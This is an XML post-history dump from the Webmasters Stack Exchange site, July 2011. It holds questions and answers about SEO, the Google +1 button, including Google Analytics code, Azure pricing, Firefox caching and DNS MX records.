  <row Id="42089" PostHistoryTypeId="1" PostId="17497" RevisionGUID="0790401d-5234-4302-a4ad-2d19fee20f55" CreationDate="2011-07-28T07:38:58.683" UserId="9236" Text="What should you do differently when designing websites for an embedded web server" />
  <row Id="42090" PostHistoryTypeId="3" PostId="17497" RevisionGUID="0790401d-5234-4302-a4ad-2d19fee20f55" CreationDate="2011-07-28T07:38:58.683" UserId="9236" Text="&lt;website-design&gt;&lt;web-hosting&gt;&lt;server&gt;&lt;design&gt;" />
  <row Id="42091" PostHistoryTypeId="2" PostId="17498" RevisionGUID="88921187-d17f-40f2-b704-efa4df0c1658" CreationDate="2011-07-28T08:36:09.907" UserId="9237" Text="Hi Guys I am looking for a list of working sites which accepts feeds, then I struck with an Idea that I can find those places by following other sites of my niche which would have already submitted there feed ?  So is there any way I can do this ?" />
  <row Id="42092" PostHistoryTypeId="1" PostId="17498" RevisionGUID="88921187-d17f-40f2-b704-efa4df0c1658" CreationDate="2011-07-28T08:36:09.907" UserId="9237" Text="How to find all feed directories where a particular site has submitted his feed." />
  <row Id="42093" PostHistoryTypeId="3" PostId="17498" RevisionGUID="88921187-d17f-40f2-b704-efa4df0c1658" CreationDate="2011-07-28T08:36:09.907" UserId="9237" Text="&lt;traffic&gt;&lt;backlinks&gt;&lt;rss&gt;" />
  <row Id="42094" PostHistoryTypeId="6" PostId="17475" RevisionGUID="16a8a522-5f4f-4c4a-8b69-7ea99a1a7761" CreationDate="2011-07-28T09:18:39.183" UserId="1643" Comment="edited tags" Text="&lt;forum&gt;&lt;ruby-on-rails&gt;&lt;customer-service&gt;&lt;community&gt;" />
  <row Id="42095" PostHistoryTypeId="25" PostId="17492" RevisionGUID="947c827c-177d-4c87-94f8-ad89f4115bb8" CreationDate="2011-07-28T09:32:10.653" Comment="http://twitter.com/#!/StackWebmasters/status/96513268042055680" />
  <row Id="42096" PostHistoryTypeId="2" PostId="17499" RevisionGUID="af6c1383-807c-49b0-b007-3c52a86d76c0" CreationDate="2011-07-28T11:46:43.320" UserId="1253" Text="There is no way to do this. But if you Google &quot;rss feed directory&quot; and &quot;rss directory&quot; you should find all the most popular quite easily." />
  <row Id="42097" PostHistoryTypeId="5" PostId="17498" RevisionGUID="6bae5988-7ee0-401b-9336-91ab0090813e" CreationDate="2011-07-28T11:47:38.687" UserId="1253" Comment="modified tags, minor text edits" Text="I am looking for a list of working sites which accepts feeds, then I struck with an idea that I can find those places by following other sites of my niche which would have already submitted their feed?  So is there any way I can do this?" />
  <row Id="42098" PostHistoryTypeId="6" PostId="17498" RevisionGUID="6bae5988-7ee0-401b-9336-91ab0090813e" CreationDate="2011-07-28T11:47:38.687" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;rss&gt;" />
  <row Id="42099" PostHistoryTypeId="5" PostId="17475" RevisionGUID="358bd2cf-82f9-4097-a9bc-fb16e135dee9" CreationDate="2011-07-28T11:48:53.303" UserId="1253" Comment="modified tags, minor text edits" Text="We're running a significant website built using Ruby On Rails and Warden for authentication.&#xD;&#xA;&#xD;&#xA;We'd like to setup a community forum to allow users provide each others tips. Ideally this forum would be multi language (not sure if it's essential) and we absolutely need that users don't need to reauthenticate through the forum.&#xD;&#xA;&#xD;&#xA;I tried Vanilla forums but it doesn't fit - their proxy-connect plugin is buggy and breaks from a version to another.&#xD;&#xA;&#xD;&#xA;Do you guys have any recommendations ?&#xD;&#xA;" />
  <row Id="42100" PostHistoryTypeId="6" PostId="17475" RevisionGUID="358bd2cf-82f9-4097-a9bc-fb16e135dee9" CreationDate="2011-07-28T11:48:53.303" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;looking-for-a-script&gt;&lt;forum&gt;&lt;ruby-on-rails&gt;&lt;customer-service&gt;&lt;community&gt;" />
  <row Id="42101" PostHistoryTypeId="5" PostId="17422" RevisionGUID="31a0f561-d98c-4fd7-b253-e25eea89d16d" CreationDate="2011-07-28T12:23:30.927" UserId="9204" Comment="Added the complete URL" Text="I can see &quot;googleads.g.doubleclick.net/pagead/ads....&quot; as a referrer on my website. However I am not running any google ads. So how am I getting the traffic?&#xD;&#xA;&#xD;&#xA;Here's the complete URL&#xD;&#xA;&#xD;&#xA;http://googleads.g.doubleclick.net/pagead/ads?output=html&amp;h=250&amp;slotname=5275434421&amp;w=300&amp;lmt=1311690266&amp;flash=10.1.102&amp;url=http%3A%2F%2Fwww.humbug.in%2Fsuperuser%2Fes%2Fpromiscuous-modo-con-intel-centrino-adelantado-n-6200-agn-tarjeta-inalambrica--214946.html&amp;dt=1311690268347&amp;bpp=3&amp;shv=r20110713&amp;jsv=r20110719&amp;prev_slotnames=7553874535%2C5896307875%2C8590890981&amp;correlator=1311690268052&amp;frm=4&amp;adk=3153418812&amp;ga_vid=1396001617.1311690268&amp;ga_sid=1311690268&amp;ga_hid=558368546&amp;ga_fc=1&amp;u_tz=-180&amp;u_his=1&amp;u_java=0&amp;u_h=1024&amp;u_w=1280&amp;u_ah=960&amp;u_aw=1280&amp;u_cd=24&amp;u_nplug=6&amp;u_nmime=22&amp;biw=1263&amp;bih=851&amp;fu=0&amp;ifi=4&amp;dtd=441&amp;xpc=T5MgG9EVV9&amp;p=http%3A%2F%2Fwww.humbug.in" />
  <row Id="42102" PostHistoryTypeId="2" PostId="17500" RevisionGUID="d3ea2b76-7269-4620-8715-235fb4355031" CreationDate="2011-07-28T12:27:37.213" UserId="8799" Text="Could you have a competitor interested in putting you offline?  &#xD;&#xA;Are they idiots (and russia based) or could they being paying some idiot from russia?&#xD;&#xA;&#xD;&#xA;If not, then maybe you're getting hits from a single router in some educational or governmental institution in which you suddenly became popular.&#xD;&#xA;&#xD;&#xA;What are you checking you ip with? Try maxmind.  &#xD;&#xA;Its resolver usually gives some insights of large institutional networks.  &#xD;&#xA;http://www.maxmind.com/app/locate_demo_ip&#xD;&#xA;&#xD;&#xA;What is your product? Is it a game?  &#xD;&#xA;They could be doing some serious lan partying up there.&#xD;&#xA;&#xD;&#xA; * Offer a *bittorrent* option,&#xD;&#xA; * or move the file to *rapidspread/rapidshare/megaupload/rapidsomething*" />
  <row Id="42103" PostHistoryTypeId="25" PostId="17442" RevisionGUID="d67522b6-7763-4b96-babe-f982c06a2770" CreationDate="2011-07-28T12:32:10.327" Comment="http://twitter.com/#!/StackWebmasters/status/96558565329879040" />
  <row Id="42104" PostHistoryTypeId="2" PostId="17501" RevisionGUID="ebdf7e2d-b574-41c8-a56b-194737a2bbe7" CreationDate="2011-07-28T12:33:53.623" UserId="7198" Text="You might not be running a Google AdWords campaign, but it looks like someone else is.&#xD;&#xA;&#xD;&#xA;One of your affiliates is likely paying for a campaign, using their referral link to drive traffic to your site (and boost their sales). That's the simplest explanation, and therefore probably the most likely cause of the AdSense referrals you're seeing.&#xD;&#xA;&#xD;&#xA;I've had affiliates take out ads to boost their sales before; a welcome side effect of running an affiliate program is that other people sometimes pay for advertising for you. As long as the ads they run aren't misleading, it's usually good for business.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42105" PostHistoryTypeId="2" PostId="17502" RevisionGUID="b42d9096-38c1-4c46-93b9-cb23a9a99dac" CreationDate="2011-07-28T12:35:55.067" UserId="1429" Text="FYI&#xD;&#xA;&#xD;&#xA;using Toby suggestions this is the code to put in ALL your HTML pages just before the `&lt;/head&gt;` closing tag (specific for Google Anaytics):&#xD;&#xA;&#xD;&#xA;    &lt;!--#include virtual=&quot;footer.html&quot; --&gt; &lt;!-- trailing space char is not a typo --&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;&#xD;&#xA;Then you create a file called `footer.html` where you just write into it the code provided by Google Analytics, and **nothing else** i.e.:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-...']);&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    ...&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;With PHP it works in the same way, simply add this PHP code in ALL your HTML pages just before the `&lt;/head&gt;` closing tag:&#xD;&#xA;&#xD;&#xA;    &lt;?php include(&quot;footer.html&quot;); ?&gt;    &#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42106" PostHistoryTypeId="5" PostId="17501" RevisionGUID="07b5fcb2-cbf9-4739-ba3e-aa168957334e" CreationDate="2011-07-28T12:52:34.797" UserId="7198" Comment="deleted 76 characters in body" Text="One of your affiliates is likely paying for a Google AdWords campaign using their referral link to drive traffic to your site (and boost their sales). That's the simplest explanation, and therefore probably the most likely cause of the AdSense referrals you're seeing.&#xD;&#xA;&#xD;&#xA;I've had affiliates take out ads to boost their sales before; a welcome side effect of running an affiliate program is that other people sometimes pay for advertising for you. As long as the ads they run aren't misleading, it's usually good for business.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42107" PostHistoryTypeId="2" PostId="17503" RevisionGUID="b1c34110-a15f-4e26-808e-964d14dab865" CreationDate="2011-07-28T12:58:50.837" UserId="1953" Text="It's been a really long time since I've used a WYSIWYG editor (probably 10 years) but I seem to recall Dreamweaver (and perhaps others) allowed you to add &quot;template&quot; items which would populate to every page listed in the current site. If you're using an editor such as this I'd look through their documentation or ask in their support forums first." />
  <row Id="42108" PostHistoryTypeId="2" PostId="17504" RevisionGUID="756a41d4-4d36-4924-a1dc-b1b680333813" CreationDate="2011-07-28T13:08:00.793" UserId="1253" Text="I see everyone recommending a server side solution for this, which is fine, but if yopu're going to have to go through all of their files and append a server side include into your pages why not just put the Google Analytics code into a separate file and include it using a `&lt;script&gt;` tag? That way there is no server side processing required which is a performance gain.&#xD;&#xA;&#xD;&#xA;`&lt;script type=&quot;text/javascript&quot; src=&quot;/javascripts/ga.js&quot;&gt;&lt;/script&gt;`" />
  <row Id="42109" PostHistoryTypeId="5" PostId="17051" RevisionGUID="083cd540-2be7-4e92-87be-ed97e10b73ce" CreationDate="2011-07-28T13:10:42.460" UserId="9239" Comment="deleted 5 characters in body" Text="Wikipedia provides an updated browser statistics summary that includes the top sources and median of these sources:&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Usage_share_of_web_browsers#Summary_table&#xD;&#xA;&#xD;&#xA;For most uses, the wikipedia **median** is probably your **best estimate** for accurate browser statistics.  &#xD;&#xA;  &#xD;&#xA;Each of the main browser stats providers are not 100% reliable because they all use a relatively small set of web sites that may lead to a biased sample set of users. Depending on what criteria is important or how 'most of web usage' is defined, different stats may be more useful.&#xD;&#xA;&#xD;&#xA;&gt; If you don't trust Wikipedia, follow the sources provided and compile your own median." />
  <row Id="42110" PostHistoryTypeId="5" PostId="13348" RevisionGUID="159a85c7-a9f8-413c-aaaa-4ad29f48c71b" CreationDate="2011-07-28T13:28:58.890" UserId="6467" Comment="added 161 characters in body" Text="I assume this is for a small business in their office. I would never use these on the open Internet. &#xD;&#xA;I have many Xampp installs on windows XP and Win2000 boxes. They sit in the server room and never need attention other than backups. &#xD;&#xA;&#xD;&#xA;Xampplite (my favorite) is very easy to install. It contains the basics, mysql, PHP and utilities.  &#xD;&#xA;&#xD;&#xA;@Marco its here: http://download.cnet.com/XAMPP-Lite/3000-10248_4-11327962.html&#xD;&#xA;and Here: http://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.7.3/" />
  <row Id="42111" PostHistoryTypeId="2" PostId="17505" RevisionGUID="3ab69f0e-df2f-4fdc-a1c5-726b3389c2d2" CreationDate="2011-07-28T14:57:37.410" UserId="8957" Text="I would say that there are not enough differences between the windows and linux installs to make you pick one over the other. If you have more experience with windows i'd set it up on windows, similarly if you have more experience with linux i would set it up on linux. Apache was developed for linux so it stands to reason that it works better on linux, but again if you're just starting out it shouldn't make enough of a difference.&#xD;&#xA;You can always switch later when your website is up and running and having a few visitors, it should be possible to switch over without a downtime of more than a few minutes.&#xD;&#xA;&#xD;&#xA;This goes for standard Apache installs as well as wampserver, although i have never worked with the latter." />
  <row Id="42112" PostHistoryTypeId="12" PostId="17505" RevisionGUID="144855f0-e7b0-443c-af35-20be204ec983" CreationDate="2011-07-28T14:58:02.747" UserId="8957" Text="[{&quot;Id&quot;:8957,&quot;DisplayName&quot;:&quot;xyious&quot;}]" />
  <row Id="42113" PostHistoryTypeId="13" PostId="17505" RevisionGUID="be9a8134-42fb-44d1-9e15-aaa3bc997f7e" CreationDate="2011-07-28T15:00:02.930" UserId="8957" Text="[{&quot;Id&quot;:8957,&quot;DisplayName&quot;:&quot;xyious&quot;}]" />
  <row Id="42114" PostHistoryTypeId="5" PostId="17505" RevisionGUID="35cfff82-a4b1-4158-b6e1-d2efa3495b32" CreationDate="2011-07-28T15:05:00.947" UserId="8957" Comment="added some more...." Text="I would say that there are not enough differences between the windows and linux installs to make you pick one over the other. If you have more experience with windows i'd set it up on windows, similarly if you have more experience with linux i would set it up on linux. Apache was developed for linux so it stands to reason that it works better on linux, but again if you're just starting out it shouldn't make enough of a difference.&#xD;&#xA;You can always switch later when your website is up and running and having a few visitors, it should be possible to switch over without a downtime of more than a few minutes.&#xD;&#xA;&#xD;&#xA;This goes for standard Apache installs as well as wampserver, although i have never worked with the latter.&#xD;&#xA;&#xD;&#xA;I didn't have any problems setting up apache/mysql/php on ubuntu server, literally just having it installed and it worked. and there are lots of resources and forums available to help you." />
  <row Id="42115" PostHistoryTypeId="2" PostId="17506" RevisionGUID="3a3a93df-cc52-4f6c-940b-9b392354fc43" CreationDate="2011-07-28T15:30:16.430" UserId="8957" Text="Browser usage is going to vary a lot depending on what kind of website is collecting the statistics. Stackexchange is i highly technical site and as such you'd very likely find IE6 scoring much lower than on an overall web average. If you were collecting statistics on some winxp blog it would probably score significantly higher.  just something to consider when looking at stats." />
  <row Id="42116" PostHistoryTypeId="25" PostId="17497" RevisionGUID="c8c67e34-6516-4f3e-a179-25908e3ee82b" CreationDate="2011-07-28T15:32:10.943" Comment="http://twitter.com/#!/StackWebmasters/status/96603864349941760" />
  <row Id="42117" PostHistoryTypeId="2" PostId="17507" RevisionGUID="e71245a4-763d-47a4-a3bc-38b7f797342a" CreationDate="2011-07-28T15:54:52.820" UserId="9245" Text="Don't you think Azure is really expensive when you are just lunching and you need only the minimum number of instances? You can buy the same computing power that 2 instances offer for less than $30 as normal hosting.&#xD;&#xA;&#xD;&#xA;Do I mistake or why this great differences in prices between azure and normal hosting?&#xD;&#xA;" />
  <row Id="42118" PostHistoryTypeId="1" PostId="17507" RevisionGUID="e71245a4-763d-47a4-a3bc-38b7f797342a" CreationDate="2011-07-28T15:54:52.820" UserId="9245" Text="Azure pricing - what do I miss?" />
  <row Id="42119" PostHistoryTypeId="3" PostId="17507" RevisionGUID="e71245a4-763d-47a4-a3bc-38b7f797342a" CreationDate="2011-07-28T15:54:52.820" UserId="9245" Text="&lt;azure&gt;" />
  <row Id="42120" PostHistoryTypeId="2" PostId="17508" RevisionGUID="0044cd3c-82f2-4ab3-ba05-830a01592cc2" CreationDate="2011-07-28T15:55:04.973" UserId="8557" Text="I have setup the Google Plus One button on my website. I would like to know how it could affect the SEO of my pages. I heard that only on our friends' and contacts' computers, the results are improving. Or does it globally improve the rankings. I'm concerned about it because the JavaScript (yes the newest one) of the button slows down the site.If it is useful for global SEO only, I want to continue using it. Please advise." />
  <row Id="42121" PostHistoryTypeId="1" PostId="17508" RevisionGUID="0044cd3c-82f2-4ab3-ba05-830a01592cc2" CreationDate="2011-07-28T15:55:04.973" UserId="8557" Text="How can the Google Plus one Button aid in SEO" />
  <row Id="42122" PostHistoryTypeId="3" PostId="17508" RevisionGUID="0044cd3c-82f2-4ab3-ba05-830a01592cc2" CreationDate="2011-07-28T15:55:04.973" UserId="8557" Text="&lt;seo&gt;&lt;google&gt;&lt;google-plus-one&gt;" />
  <row Id="42123" PostHistoryTypeId="2" PostId="17509" RevisionGUID="4e87e2be-5855-41d2-8b25-a7475970124a" CreationDate="2011-07-28T16:02:10.770" UserId="1253" Text="The Google +1 button is definitely going to impact global search results. Google alludes to it in their [+1 button page][1]&#xD;&#xA;&#xD;&#xA;&gt; Your +1's can help friends, contacts, **and others on the web** find the best stuff when they search.&#xD;&#xA;&#xD;&#xA;Additionally, they also mention that +1 counts may be displayed within search results even if no one you know has +1'd your pages. From [their blog][2]:&#xD;&#xA;&#xD;&#xA;&gt;Say, for example, you’re planning a winter trip to Tahoe, Calif. When you do a search, you may now see a +1 from your slalom-skiing aunt next to the result for a lodge in the area. Or if you’re looking for a new pasta recipe, we’ll show you +1’s from your culinary genius college roommate. And even if none of your friends are baristas or caffeine addicts, we may still show you how many people across the web have +1’d your local coffee shop.&#xD;&#xA;&#xD;&#xA;This may not directly influence global rankings, but like [microformats][3], it can encourage a user to click on your search results listing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/+1/button/&#xD;&#xA;  [2]: http://googleblog.blogspot.com/2011/03/1s-right-recommendations-right-when-you.html&#xD;&#xA;  [3]: http://schema.org/" />
  <row Id="42124" PostHistoryTypeId="5" PostId="17507" RevisionGUID="4ec89fa8-aabf-4ea7-bbb9-6018c7ebc06a" CreationDate="2011-07-28T16:05:55.727" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [does Azure have a free until some limit program?](http://webmasters.stackexchange.com/questions/17486/does-azure-have-a-free-until-some-limit-program)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Don't you think Azure is really expensive when you are just lunching and you need only the minimum number of instances? You can buy the same computing power that 2 instances offer for less than $30 as normal hosting.&#xD;&#xA;&#xD;&#xA;Do I mistake or why this great differences in prices between azure and normal hosting?&#xD;&#xA;" />
  <row Id="42125" PostHistoryTypeId="10" PostId="17507" RevisionGUID="d1ec55ce-8921-4071-87a2-0cb0734143da" CreationDate="2011-07-28T16:05:54.477" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42126" PostHistoryTypeId="2" PostId="17510" RevisionGUID="47a0f9cb-ea8c-4437-a199-f3adccab8d4d" CreationDate="2011-07-28T16:15:49.377" UserId="221" Text="We tried using the IDN version of the domain as the default but eventually ran into problems with some browsers (including Firefox) and Adobe Reader where the IDN domain name just got mangled in the hand-off to the browser plugin.&#xD;&#xA;&#xD;&#xA;So now we use the 'safe' mode and the IDN simply does a 301 redirect to it." />
  <row Id="42127" PostHistoryTypeId="2" PostId="17511" RevisionGUID="f09e0729-8517-4823-b512-2538a4f6b7da" CreationDate="2011-07-28T16:33:44.743" UserId="7342" Text="Google Analytics uses the following definitions : &#xD;&#xA;&#xD;&#xA;* The time on site for a particular visit is the sum of the time on pages for all pages that constitute that visit.&#xD;&#xA;&#xD;&#xA;* The time on a page for a particular page is :  &#xD;&#xA;&#xD;&#xA;&gt; calculated by subtracting the initial view time for a particular page from the initial view time for a subsequent page&#xD;&#xA;&#xD;&#xA;as pointed on http://www.google.com/support/analytics/bin/answer.py?hl=en-GB&amp;answer=99118. Google Analytics uses the timestamps of the GIF request to calculate the 'view time'.&#xD;&#xA;&#xD;&#xA;That means that the last page that a Visitor visited, as it does not have a subsequent page, is not taken into account in this calculation. &#xD;&#xA;&#xD;&#xA;It is also good to remember that a visit ends after the Visitor either closes the browser or after 30 minutes of inactivity. " />
  <row Id="42128" PostHistoryTypeId="5" PostId="11443" RevisionGUID="4941bfbf-daef-4415-8aa3-a78c6f756d1f" CreationDate="2011-07-28T17:06:52.923" UserId="1429" Comment="deleted 4 characters in body" Text="Read more about the subjet here: http://www.techspot.com/news/43064-google-adds-1-button-to-search-results.html&#xD;&#xA;&#xD;&#xA;Beside being something that will be definitely abused by spammers and SEOs, don't you think it's very unfair for small business?&#xD;&#xA;&#xD;&#xA;For a company with many employees it will be very easy to force them to add a +1 each, thus resulting in **company's website being upvoted a number of times that is directly proportional to the number of employees the company have**.&#xD;&#xA;&#xD;&#xA;I know you might say: *&quot;well also in real life is like this, if you have many employees, they will spread the voice about your company&quot;*, but I think it's different, because I heard many times employees talking bad about the company where they work, but **they won't be able to do the same on Google cause the manager would immediately track who did not upvote the company website**, and as far as I know you can not downvote (I mean they can not even create a fake profile to just downvote, but let's not get into this right now).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**UPDATE:** After reading some answer I thought to make clear that I did not talk about ranking in this question, probably adding the word `SEO` at the beginning of the title was somehow misleading.&#xD;&#xA;&#xD;&#xA;**I do not think this new +1 feaure could influence ranking (at least for now), but still it will definitely influence clicks on results in SERPs**, we'll probably see also a new type of SEO." />
  <row Id="42129" PostHistoryTypeId="6" PostId="11443" RevisionGUID="4941bfbf-daef-4415-8aa3-a78c6f756d1f" CreationDate="2011-07-28T17:06:52.923" UserId="1429" Comment="deleted 4 characters in body" Text="&lt;seo&gt;&lt;google&gt;&lt;google-plus-one&gt;" />
  <row Id="42130" PostHistoryTypeId="2" PostId="17512" RevisionGUID="d7e47621-8168-41db-867c-a723478cfb7a" CreationDate="2011-07-28T17:11:19.820" UserId="9246" Text="A webpage with &lt;meta http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache, no-store&quot;&gt; in the head element is being cached in Firefox 5. This does not happen in Firefox 4.  The no-cache, no-store directive is set for security but firefox is no longer honoring the setting. Other browsers (chrome, ie, ff4) obey the directive and don't store or cache the page so it gets fetched each request." />
  <row Id="42131" PostHistoryTypeId="1" PostId="17512" RevisionGUID="d7e47621-8168-41db-867c-a723478cfb7a" CreationDate="2011-07-28T17:11:19.820" UserId="9246" Text="In FF5 a web page which sets meta attribute for no-cache, no-store but it goes to the cache and is stored. This was not happening in FF4" />
  <row Id="42132" PostHistoryTypeId="3" PostId="17512" RevisionGUID="d7e47621-8168-41db-867c-a723478cfb7a" CreationDate="2011-07-28T17:11:19.820" UserId="9246" Text="&lt;cache&gt;&lt;firefox&gt;" />
  <row Id="42133" PostHistoryTypeId="2" PostId="17513" RevisionGUID="bb3630d2-d3eb-435c-9d01-86f475c892e9" CreationDate="2011-07-28T17:17:39.003" UserId="5365" Text="Is there a service, which specializes on making and printing portfolio books/brochures? I found lots of simple printing services, but nothing which specialize on portfolio printing" />
  <row Id="42134" PostHistoryTypeId="1" PostId="17513" RevisionGUID="bb3630d2-d3eb-435c-9d01-86f475c892e9" CreationDate="2011-07-28T17:17:39.003" UserId="5365" Text="make and print out your portfolio book or brochures" />
  <row Id="42135" PostHistoryTypeId="3" PostId="17513" RevisionGUID="bb3630d2-d3eb-435c-9d01-86f475c892e9" CreationDate="2011-07-28T17:17:39.003" UserId="5365" Text="&lt;books&gt;&lt;print&gt;" />
  <row Id="42136" PostHistoryTypeId="10" PostId="17513" RevisionGUID="b372dd01-78c9-439c-bdff-4e81455c008d" CreationDate="2011-07-28T17:23:54.350" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42137" PostHistoryTypeId="17" PostId="17514" RevisionGUID="2cf6e509-72ab-40f1-9c0a-6b9487b02049" CreationDate="2011-07-28T17:28:52.090" UserId="-1" Comment="from http://stackoverflow.com/questions/6839565/why-many-good-links-of-my-blog-in-google-webmaster-tool-shows-500-error" Text="" />
  <row Id="42138" PostHistoryTypeId="2" PostId="17514" RevisionGUID="1ec7768f-e05e-4be4-a9cf-1d646717d1eb" CreationDate="2011-07-27T04:51:30.380" UserId="9253" UserDisplayName="Wayne Ye" Text="Majority of the links in the screenshot below are **valid**! Such as:&#xD;&#xA;&#xD;&#xA;http://wayneye.com/Blog/HTML5-Web-Socket-In-Essence&#xD;&#xA;&#xD;&#xA;http://wayneye.com/Blog/There-Is-No-The-Hope-Project&#xD;&#xA;&#xD;&#xA;And so on... Even if I tried &quot;**Fetch as Googlebot**&quot; the result is 200 OK.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/A1C3D.png&#xD;&#xA;&#xD;&#xA;Please note: I do not block any content for google bot in my robots.txt, neither in my HTML meta tags, please help, thanks!" />
  <row Id="42139" PostHistoryTypeId="1" PostId="17514" RevisionGUID="1ec7768f-e05e-4be4-a9cf-1d646717d1eb" CreationDate="2011-07-27T04:51:30.380" UserId="9253" UserDisplayName="Wayne Ye" Text="Why many good links of my blog in google WebMaster tool shows 500 error?" />
  <row Id="42140" PostHistoryTypeId="3" PostId="17514" RevisionGUID="1ec7768f-e05e-4be4-a9cf-1d646717d1eb" CreationDate="2011-07-27T04:51:30.380" UserId="9253" UserDisplayName="Wayne Ye" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="42141" PostHistoryTypeId="17" PostId="17515" RevisionGUID="ee044f8c-3de8-4cdc-aabf-d7e3e4d414d8" CreationDate="2011-07-28T17:48:44.617" UserId="-1" Comment="from http://superuser.com/questions/316308/mx-changes-for-domain-alias-not-propogating" Text="" />
  <row Id="42142" PostHistoryTypeId="2" PostId="17515" RevisionGUID="dfc0c49a-cc79-496c-b035-5ed80514e21d" CreationDate="2011-07-28T17:44:38.797" UserId="9247" UserDisplayName="ProfKaos" Text="I am trying to implement Google Apps for a new domain of mine, and although Google says it can take up to 48 hours, it is normally much quicker than that, and other DNS changes, such as creating the domain alias, normally take less than 1 hour to propogate.  The domain I'm trying to set up Google Apps for is an alias of an existing domain - let me explain:&#xD;&#xA;&#xD;&#xA;I have mainDomain.com, and this is the name of my domain account on my host, which I cannot change. However, that domain name has expired and is no longer available, so I create a domain alias on the host called aliasDomain.co.za, and choose not to use the main domain DNS.  I then set all the MX records, as documented by Google, on aliasDomain.co.za, but it's been about 12 hours with no joy yet.  &#xD;&#xA;&#xD;&#xA;I suppose I should wait the 48 hours, but if my DNS is wrong, it could be another 48 hours to see if I did fix it.  Should what I'm doing work normally, or should I be doing something else?" />
  <row Id="42143" PostHistoryTypeId="1" PostId="17515" RevisionGUID="dfc0c49a-cc79-496c-b035-5ed80514e21d" CreationDate="2011-07-28T17:44:38.797" UserId="9247" UserDisplayName="ProfKaos" Text="MX changes for domain alias not propogating." />
  <row Id="42144" PostHistoryTypeId="3" PostId="17515" RevisionGUID="dfc0c49a-cc79-496c-b035-5ed80514e21d" CreationDate="2011-07-28T17:44:38.797" UserId="9247" UserDisplayName="ProfKaos" Text="&lt;dns&gt;&lt;google-apps&gt;" />
  <row Id="42145" PostHistoryTypeId="2" PostId="17516" RevisionGUID="f702b61a-b6aa-4c6f-b5e5-22607d2af8a1" CreationDate="2011-07-28T18:00:50.817" UserId="5809" Text="Is there a tool that can list the specific pages of a site which are indexed by the search engines?&#xD;&#xA;&#xD;&#xA;I know the webmaster tools have this stuff, but it just tells how many pages out of the sitemap, which isn't that useful.&#xD;&#xA;&#xD;&#xA;Thanks for the suggestions,&#xD;&#xA;Alex" />
  <row Id="42146" PostHistoryTypeId="1" PostId="17516" RevisionGUID="f702b61a-b6aa-4c6f-b5e5-22607d2af8a1" CreationDate="2011-07-28T18:00:50.817" UserId="5809" Text="How can I tell which pages of a site are indexed by google or bing?" />
  <row Id="42147" PostHistoryTypeId="3" PostId="17516" RevisionGUID="f702b61a-b6aa-4c6f-b5e5-22607d2af8a1" CreationDate="2011-07-28T18:00:50.817" UserId="5809" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;websites&gt;" />
  <row Id="42148" PostHistoryTypeId="2" PostId="17517" RevisionGUID="d1a70b81-3622-4d7d-92b1-a79e3c99adaf" CreationDate="2011-07-28T18:10:21.517" UserId="1253" Text="On Google you can use the &quot;site:&quot; operator. Example: [site:stackoverflow.com](http://www.google.com/search?aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=google+site%3A#sclient=psy&amp;hl=en&amp;safe=off&amp;source=hp&amp;q=site:stackoverflow.com&amp;pbx=1&amp;oq=site:stackoverflow.com)&#xD;&#xA;&#xD;&#xA;I couldn't find an equivlant for Bing.&#xD;&#xA;&#xD;&#xA;[This page][1] summarizes the operators that each of the major search engines offer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tech4idiots.org/2011/05/03/google-search-operators/" />
  <row Id="42149" PostHistoryTypeId="5" PostId="17516" RevisionGUID="bc32ef2c-62b3-419d-af17-cd63a7866cfa" CreationDate="2011-07-28T18:11:12.563" UserId="1253" Comment="modified tags, minor text edits" Text="Is there a tool that can list the specific pages of a site which are indexed by the search engines?&#xD;&#xA;&#xD;&#xA;I know the webmaster tools have this stuff, but it just tells how many pages out of the sitemap, which isn't that useful.&#xD;&#xA;" />
  <row Id="42150" PostHistoryTypeId="4" PostId="17516" RevisionGUID="bc32ef2c-62b3-419d-af17-cd63a7866cfa" CreationDate="2011-07-28T18:11:12.563" UserId="1253" Comment="modified tags, minor text edits" Text="How can I tell which pages of a site are indexed by Google or Bing?" />
  <row Id="42151" PostHistoryTypeId="6" PostId="17516" RevisionGUID="bc32ef2c-62b3-419d-af17-cd63a7866cfa" CreationDate="2011-07-28T18:11:12.563" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;bing&gt;" />
  <row Id="42152" PostHistoryTypeId="25" PostId="17508" RevisionGUID="9e5e9b59-3d6e-432b-b013-0bac451dfe54" CreationDate="2011-07-28T18:32:11.690" Comment="http://twitter.com/#!/StackWebmasters/status/96649163881713664" />
